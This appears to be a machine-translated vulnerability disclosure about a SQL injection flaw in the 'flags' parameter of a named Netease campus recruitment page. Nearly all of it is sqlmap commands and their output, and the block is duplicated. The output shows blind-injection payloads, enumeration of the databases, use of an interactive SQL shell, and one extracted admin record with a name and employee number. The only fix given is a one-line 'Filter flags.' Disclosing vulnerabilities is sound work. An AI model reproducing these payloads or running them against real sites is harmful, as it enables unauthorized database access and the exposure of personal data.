Netease subsite SQL Injection Vulnerability

Netease subsite SQL Injection Vulnerability

SQL injection vulnerability in a website on Netease

Http://op.campus.163.com/adm/selectcate.do? Flags = 1, 2

The above link has the SQL injection vulnerability to obtain database data.
 

$ ./sqlmap.py -u "http://op.campus.163.com/adm/selectcate.do?flags=1,2" --dbs ……[*] starting at 23:04:20[23:04:20] [INFO] resuming back-end DBMS 'mysql'[23:04:20] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: flags (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: flags=1,2) AND 1129=1129 AND (6317=6317    Type: AND/OR time-based blind    Title: MySQL > 5.0.11 AND time-based blind    Payload: flags=1,2) AND SLEEP(5) AND (3809=3809---[23:04:20] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5.0.11[23:04:20] [INFO] fetching database names[23:04:20] [INFO] fetching number of databases[23:04:20] [INFO] resumed: 2[23:04:20] [INFO] resumed: information_schema[23:04:20] [INFO] resumed: recruitavailable databases [2]:[*] information_schema[*] recruit

 

$./Sqlmap. py-u" http://op.campus.163.com/adm/selectcate.do?flags=1,2 "-- SQL-shell ...... [*] Starting at 23:07:02 [23:07:02] [INFO] resuming back-end DBMS 'mysql' [23:07:02] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: flags (GET) Type: boolean-based blind Title: AND boolean-based blind-WHERE or HAVING clause Payload: flags = 1, 2) AND 1129 = 1129 AND (6317 = 6317 Type: AND/OR time-based blind Titl E: MySQL> 5.0.11 AND time-based blind Payload: flags = 1, 2) and sleep (5) AND (3809 = 3809 --- [23:07:02] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5.0.11 [23:07:02] [INFO] calling MySQL shell. to quit type 'X' or 'q' and press ENTERsql-shell> select * from adminer limit 1; [23:07:05] [INFO] fetching SQL SELECT statement query output: 'select * from adminer li Mit 1' [23:07:05] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself [23:07:05] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table (s) columns [23:07:05] [INFO] fetching current database [23:07:05] [INFO] resumed: recruit [23:07:05] [INFO] fetching columns for table 'adminer' in database 'recruit' [23:07:05] [INFO] resumed: 9 [23:07:05] [INFO] resumed: username [23:07:05] [INFO] resumed: gonghao [23:07:05] [INFO] resumed: cnname [23:07:05] [INFO] resumed: email [23:07:05] [INFO] resumed: permitgroup [23:07:05] [INFO] resumed: createtime [23:07:05] [INFO] resumed: lasttime [23:07:05] [INFO] resumed: lastip [23:07:05] [INFO] resumed: status ...... [23:07:05] [INFO] resumed: Don Juan [23:07:05] [INFO] resumed: 10:50:41 [23:07:05] [INFO] resumed: [email protected] [23:07:05] [INFO] resumed: 8705 [23:07:05] [WARNING] running in a single-thread mode. please consider usage of option '-- Threads' for faster data retrieval [23:07:05] [INFO] retrieved: [23:07:07] [INFO] resumed: 10:50:41 [23:07:07] [INFO] resumed: 1 [23:07:07] [INFO] resumed: 3 [23:07:07] [INFO] resumed: 10911 select * from adminer limit 1;: 'Don Juan, 10:50:41, [email protected], 8705, 10:50:41, 1, 3, 10911 'SQL-shell>

 

Http://op.campus.163.com/adm/selectcate.do? Flags = 1, 2

The above link has the SQL injection vulnerability to obtain database data.

$./Sqlmap. py-u "http://op.campus.163.com/adm/selectcate.do? Flags = 1, 2 "-- dbs

 ……[*] starting at 23:04:20[23:04:20] [INFO] resuming back-end DBMS 'mysql'[23:04:20] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: flags (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: flags=1,2) AND 1129=1129 AND (6317=6317    Type: AND/OR time-based blind    Title: MySQL > 5.0.11 AND time-based blind    Payload: flags=1,2) AND SLEEP(5) AND (3809=3809---[23:04:20] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5.0.11[23:04:20] [INFO] fetching database names[23:04:20] [INFO] fetching number of databases[23:04:20] [INFO] resumed: 2[23:04:20] [INFO] resumed: information_schema[23:04:20] [INFO] resumed: recruitavailable databases [2]:[*] information_schema[*] recruit

 

$./Sqlmap. py-u" http://op.campus.163.com/adm/selectcate.do?flags=1,2 "-- SQL-shell ...... [*] Starting at 23:07:02 [23:07:02] [INFO] resuming back-end DBMS 'mysql' [23:07:02] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: flags (GET) Type: boolean-based blind Title: AND boolean-based blind-WHERE or HAVING clause Payload: flags = 1, 2) AND 1129 = 1129 AND (6317 = 6317 Type: AND/OR time-based blind Titl E: MySQL> 5.0.11 AND time-based blind Payload: flags = 1, 2) and sleep (5) AND (3809 = 3809 --- [23:07:02] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5.0.11 [23:07:02] [INFO] calling MySQL shell. to quit type 'X' or 'q' and press ENTERsql-shell> select * from adminer limit 1; [23:07:05] [INFO] fetching SQL SELECT statement query output: 'select * from adminer li Mit 1' [23:07:05] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself [23:07:05] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table (s) columns [23:07:05] [INFO] fetching current database [23:07:05] [INFO] resumed: recruit [23:07:05] [INFO] fetching columns for table 'adminer' in database 'recruit' [23:07:05] [INFO] resumed: 9 [23:07:05] [INFO] resumed: username [23:07:05] [INFO] resumed: gonghao [23:07:05] [INFO] resumed: cnname [23:07:05] [INFO] resumed: email [23:07:05] [INFO] resumed: permitgroup [23:07:05] [INFO] resumed: createtime [23:07:05] [INFO] resumed: lasttime [23:07:05] [INFO] resumed: lastip [23:07:05] [INFO] resumed: status ...... [23:07:05] [INFO] resumed: Don Juan [23:07:05] [INFO] resumed: 10:50:41 [23:07:05] [INFO] resumed: [email protected] [23:07:05] [INFO] resumed: 8705 [23:07:05] [WARNING] running in a single-thread mode. please consider usage of option '-- Threads' for faster data retrieval [23:07:05] [INFO] retrieved: [23:07:07] [INFO] resumed: 10:50:41 [23:07:07] [INFO] resumed: 1 [23:07:07] [INFO] resumed: 3 [23:07:07] [INFO] resumed: 10911 select * from adminer limit 1;: 'Don Juan, 10:50:41, [email protected], 8705, 10:50:41, 1, 3, 10911 'SQL-shell>

Solution:

1. Filter flags.